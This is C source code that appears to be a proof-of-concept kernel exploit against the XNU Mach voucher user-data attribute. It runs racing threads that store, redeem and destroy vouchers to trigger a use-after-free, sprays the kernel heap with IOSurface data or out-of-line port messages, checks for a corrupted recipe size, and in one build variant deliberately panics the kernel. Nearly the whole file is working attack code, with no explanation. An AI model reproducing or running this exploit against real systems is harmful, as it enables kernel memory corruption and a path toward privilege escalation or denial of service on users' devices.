static int voucher_user_redeem_multiple(mach_port_t *out_port, uint64_t nonce, uint32_t number)
{

    struct multi_redeem_recipe multi = {0};

    multi.store_recipe.key          = MACH_VOUCHER_ATTR_KEY_USER_DATA;
    multi.store_recipe.command      = MACH_VOUCHER_ATTR_USER_DATA_STORE;
    multi.store_recipe.content_size = VOUCHER_CONTENT_SIZE;
    multi.store_recipe.previous_voucher = MACH_PORT_NULL;
    multi.nonce = nonce;
    memset(multi.padding, 0, sizeof(multi.padding));

    for (uint64_t i = 0; i < number; i++)
    {
        multi.redeem_recipe[i].key          = MACH_VOUCHER_ATTR_KEY_USER_DATA;
        multi.redeem_recipe[i].command      = MACH_VOUCHER_ATTR_REDEEM;
        multi.redeem_recipe[i].content_size = 0;
        multi.redeem_recipe[i].previous_voucher = MACH_PORT_NULL;
    }

    mach_port_t port = MACH_PORT_NULL;
```

```
    ENFORCE(host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&m
ulti,
        sizeof(mach_voucher_attr_recipe_data_t) + VOUCHER_CONTENT_SIZE + number * sizeof(mach_v
oucher_attr_recipe_data_t),
         &port) == KERN_SUCCESS, fail);

    *out_port = port;
    return 0;
fail:
    return -1;
}

#ifdef WITH_OOL
static int voucher_user_redeem_with_prev(mach_port_t *out_port, mach_port_t prev)
{

    mach_voucher_attr_recipe_data_t recipe = {0};

    recipe.key          = MACH_VOUCHER_ATTR_KEY_USER_DATA;
    recipe.command      = MACH_VOUCHER_ATTR_REDEEM;
    recipe.content_size = 0;
    recipe.previous_voucher = prev;

    mach_port_t port = MACH_PORT_NULL;
    ENFORCE(host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&r
ecipe,
        sizeof(recipe), &port) == KERN_SUCCESS, fail);

    *out_port = port;
    return 0;
fail:
    return -1;
}
#endif

static void* race_store(void *arg)
{
    uint64_t nonce = (uint64_t)arg;
    mach_port_t port = MACH_PORT_NULL;

    while( (g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION)
        && (g_race_sync != RACE_SYNC_SPRAY_DONE)) {};

    ENFORCE(voucher_user_data_store(&port, nonce) == 0, fail);
    DEBUG_TRACE(5, "race_store => new port:0x%x nonce:%llu", port, nonce);

    g_voucher_port = port;

fail:
    return NULL;
}
```

```
static void* race_desync(void *args)
{
    uint64_t nonce = (uint64_t) args;
    mach_port_t port = MACH_PORT_NULL;

    while(g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION){};

    ENFORCE(voucher_user_redeem_multiple(&port, nonce, REDEEM_MULTIPLE_SIZE) == 0, fail);
    DEBUG_TRACE(5, "race_desync port:0x%x", port);

fail:
    return NULL;
}

static void* race_destroy(void *args)
{
    mach_port_t port = (mach_port_t)args;

    while( (g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION)
        && (g_race_sync != RACE_SYNC_SPRAY_DONE)) {};

    ENFORCE(mach_port_destroy(mach_task_self(), port) == 0, fail);
    DEBUG_TRACE(5, "race_dealloc port:0x%x", port);

fail:
    return NULL;
}

#ifndef WITH_OOL
/* spraying in another thread doesn't really make sense now ... */
static void* race_spray(__attribute__((unused)) void *args)
{
    DEBUG_TRACE(5, "preparing the spray");
    uint8_t sprayed_data[sizeof(struct user_data_value_element) + VOUCHER_CONTENT_SIZE];
    memset(sprayed_data, 'A', sizeof(sprayed_data));

    user_data_element_t sprayed_elem = (user_data_element_t)sprayed_data;
    sprayed_elem->e_made = 0x100;
    sprayed_elem->e_size = RECIPE_ATTR_MAX_SIZE - sizeof(mach_voucher_attr_recipe_data_t) - 1;

    g_race_sync = RACE_SYNC_SPRAY_SETUP_READY;
    while(g_race_sync != RACE_SYNC_SPRAY_GO){};

    DEBUG_TRACE(5, "spraying...");
    ENFORCE(IOSurface_spray_with_gc(1, 1, sprayed_data, sizeof(sprayed_data), NULL) == true, fa
il);

    g_race_sync = RACE_SYNC_SPRAY_DONE;
    while(g_race_sync != RACE_SYNC_SPRAY_CLEANABLE){};
```

```
    if (g_spray_abort_flag == 1)
    {
        return NULL;
    }

    DEBUG_TRACE(5, "cleaning the spray");
    ENFORCE(IOSurface_spray_clear(1) == true, fail);

fail:
    return NULL;
}
#endif // WITH_OOL

#ifdef WITH_OOL
kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t siz
e);

struct ool_msg
{
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports;
};

struct ool_rcv_msg
{
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports;
    mach_msg_trailer_t trailer;
};

struct ool_multi_msg
{
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports[NB_DESC];
};

struct ool_multi_msg_rcv
{
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_ool_ports_descriptor_t ool_ports[NB_DESC];
    mach_msg_trailer_t trailer;
};

static int send_ool_ports(mach_port_t port, mach_port_t *ool_ports)
{
    size_t n_ports = NB_OOL_PORTS;
    struct ool_multi_msg msg = {0};
```

```
    msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg.hdr.msgh_size = sizeof(struct ool_msg);
    msg.hdr.msgh_remote_port = port;
    msg.hdr.msgh_local_port = MACH_PORT_NULL;
    msg.hdr.msgh_id = 0x123456;

    msg.body.msgh_descriptor_count = NB_DESC;
    for (uint64_t i = 0; i < NB_DESC; i++)
    {
        msg.ool_ports[i].address = ool_ports;
        msg.ool_ports[i].count = n_ports;
        msg.ool_ports[i].deallocate = 0;
        msg.ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
        msg.ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
        msg.ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
    }

    ENFORCE(mach_msg(&msg.hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                (mach_msg_size_t)sizeof(struct ool_multi_msg), 0,
                MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL) == KERN_SUCCESS, fail);

    return 0;
fail:
    return 1;
}

static int receive_ool_ports(mach_port_t port)
{
    struct ool_multi_msg_rcv msg = {0};
    ENFORCE(mach_msg(&msg.hdr, MACH_RCV_MSG, 0, sizeof(struct ool_multi_msg_rcv),
                port, 0, 0) == KERN_SUCCESS, fail);

    return 0;
fail:
    return 1;
}

static void* spray_with_ool(void *args)
{
    mach_port_t port;
    mach_port_t ports[NB_MSG] = {0};
    mach_port_t ool_ports[NB_MSG*NB_OOL_PORTS] = {0};

    DEBUG_TRACE(5, "preparing ports");
    for(uint64_t i = 0; i < NB_MSG;i++)
    {
        ENFORCE(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port) == KERN_SU
CCESS, fail);
        ports[i] = port;
        for(uint64_t j = 0; j < NB_OOL_PORTS;j++)
```

```
        {
            ool_ports[i*NB_MSG+j] = mach_task_self();
        }
    }

    g_race_sync = RACE_SYNC_SPRAY_SETUP_READY;
    //while(g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION){};
    while(g_race_sync != RACE_SYNC_SPRAY_GO){};

    DEBUG_TRACE(5, "spraying");
    for(uint64_t i = 0; i < NB_MSG; i++)
    {
        ENFORCE(send_ool_ports(ports[i], &ool_ports[i*NB_MSG]) == 0, fail);
    }

    g_race_sync = RACE_SYNC_SPRAY_DONE;
    while(g_race_sync != RACE_SYNC_SPRAY_CLEANABLE) {};

    DEBUG_TRACE(5, "recv");
    for(uint64_t i = 0; i < NB_MSG; i++)
    {
        ENFORCE(receive_ool_ports(ports[i]) == 0, fail);
    }

fail:
    DEBUG_TRACE(5, "cleaning up ports");
    for(uint64_t i = 0; i < NB_MSG; i++)
    {
        if (ports[i] != 0)
        {
            mach_port_destroy(mach_task_self(), ports[i]);
            mach_port_deallocate(mach_task_self(), ports[i]);
        }
    }

    return NULL;
}
#endif // WITH_OOL


int main(int argc, char* argv[])
{
    kern_return_t kerr;
    uint64_t nonce = 0;

    pthread_t desync_theads[NB_DESYNC_THREADS] = {0};
    pthread_t store_thread = 0;
    pthread_t destroy_thread = 0;
    pthread_t spray_thread = 0;

    sranddev();
```

```
    mach_msg_type_number_t recipe_size       = MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE;
    mach_msg_type_number_t recipe_legit_size = MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE;
    void *recipe = malloc(recipe_size);
    ENFORCE(recipe != NULL, fail);
    memset(recipe, 0, recipe_size);

    uint64_t nb_attempts = 10000;
    if (argc >= 2)
    {
        nb_attempts = atoll(argv[1]);
    }

    for(uint64_t attempt = 0; attempt < nb_attempts; attempt++)
    {
        nonce = rand();

        g_race_sync = RACE_SYNC_STOPPED;

        DEBUG_TRACE(5, "--------------------------");
        ENFORCE(voucher_user_data_store(&g_voucher_port, nonce) == 0, fail);
        DEBUG_TRACE(5, "voucher_user_data_store => voucher:0x%x", g_voucher_port);

        if (attempt == 0)
        {
            ENFORCE(mach_voucher_extract_attr_recipe_trap(g_voucher_port, MACH_VOUCHER_ATTR_KEY
_USER_DATA, recipe, &recipe_legit_size) == KERN_SUCCESS, fail);
            INFO("legit recipe_size:%u", recipe_legit_size);
            //hexdump(recipe, recipe_size);
        }

        DEBUG_TRACE(5, "---------(desync)---------");
        for(uint32_t i = 0; i < NB_DESYNC_THREADS; i++)
        {
            ENFORCE(pthread_create(&desync_theads[i], NULL, race_desync, (void*)nonce) == 0, fa
il);
        }

        g_race_sync = RACE_SYNC_ENTER_CRITICAL_SECTION;

        for(uint32_t i = 0; i < NB_DESYNC_THREADS; i++)
        {
            ENFORCE(pthread_join(desync_theads[i], NULL) == 0, fail);
        }

        g_race_sync = RACE_SYNC_STOPPED;

        if ((attempt % 1000) == 0)
        {
            INFO("attempt number:%llu", attempt);
        }
```

```
        DEBUG_TRACE(5, "---------(release)--------");
        mach_port_t port_to_release = g_voucher_port;

#ifdef WITH_OOL
        ENFORCE(pthread_create(&spray_thread, NULL, spray_with_ool, NULL) == 0, fail);
#else
        ENFORCE(pthread_create(&spray_thread, NULL, race_spray, NULL) == 0, fail);
#endif
        while(g_race_sync != RACE_SYNC_SPRAY_SETUP_READY) {};

        ENFORCE(pthread_create(&store_thread, NULL, race_store, (void*)nonce) == 0, fail);
        void *_cast = (void*)(uintptr_t) port_to_release; // compiler happy :)
        ENFORCE(pthread_create(&destroy_thread, NULL, race_destroy, (void*)_cast) == 0, fail);

        g_race_sync = RACE_SYNC_ENTER_CRITICAL_SECTION;

        ENFORCE(pthread_join(store_thread, NULL) == 0, fail);
        ENFORCE(pthread_join(destroy_thread, NULL) == 0, fail);

        g_race_sync = RACE_SYNC_SPRAY_GO;
        while(g_race_sync != RACE_SYNC_SPRAY_DONE) {};

        DEBUG_TRACE(5,"Checking recipe size with port 0x%x", g_voucher_port);
        recipe_size = RECIPE_ATTR_MAX_SIZE;
        kerr = mach_voucher_extract_attr_recipe_trap(g_voucher_port, MACH_VOUCHER_ATTR_KEY_USER
_DATA, recipe, &recipe_size);
        if (kerr == KERN_SUCCESS)
        {
            if (recipe_size != recipe_legit_size)
            {
                INFO("UaF after %llu attempts", attempt);
                INFO("recipe_size was corrupted:0x%x instead of 0x%x!", recipe_size, recipe_leg
it_size);
                hexdump(recipe, recipe_size);

                g_spray_abort_flag = 1;
                g_race_sync = RACE_SYNC_SPRAY_CLEANABLE;

                return 0;
            }
        }
        else if (kerr == KERN_NO_SPACE)
        {
            INFO("UaF detected with KERN_NO_SPACE!"); /* another one got our free chunk */
#ifdef WITH_OOL
            INFO("our ool ports probably got our alloc");
            INFO("let's try to panic...");
            mach_port_t new_voucher;

            INFO("3");
```

```
            sleep(1);
            INFO("2");
            sleep(1);
            INFO("1");
            sleep(1);
            voucher_user_redeem_with_prev(&new_voucher, g_voucher_port); // this will increment
an ool port addr
            /* this will make the spray tread recv with a corrupted unaligned pointer, then pan
ic */
            g_race_sync = RACE_SYNC_SPRAY_CLEANABLE;
            pthread_join(spray_thread, NULL);
            usleep(100);
            mach_port_destroy(mach_task_self(), g_voucher_port);
            mach_port_destroy(mach_task_self(), new_voucher);
            continue;
#else
            INFO("someone else got our alloc");
#endif
        }

        else
        {
            DEBUG_TRACE(8, "error mach_voucher_extract_attr_recipe_trap():%x", kerr); /* no luc
k this time */
        }

        g_race_sync = RACE_SYNC_SPRAY_CLEANABLE;
        pthread_join(spray_thread, NULL);
        usleep(100);

        /* clean up*/
        mach_port_destroy(mach_task_self(), g_voucher_port);
    }

    return 0;
fail:
    return 1;
}
```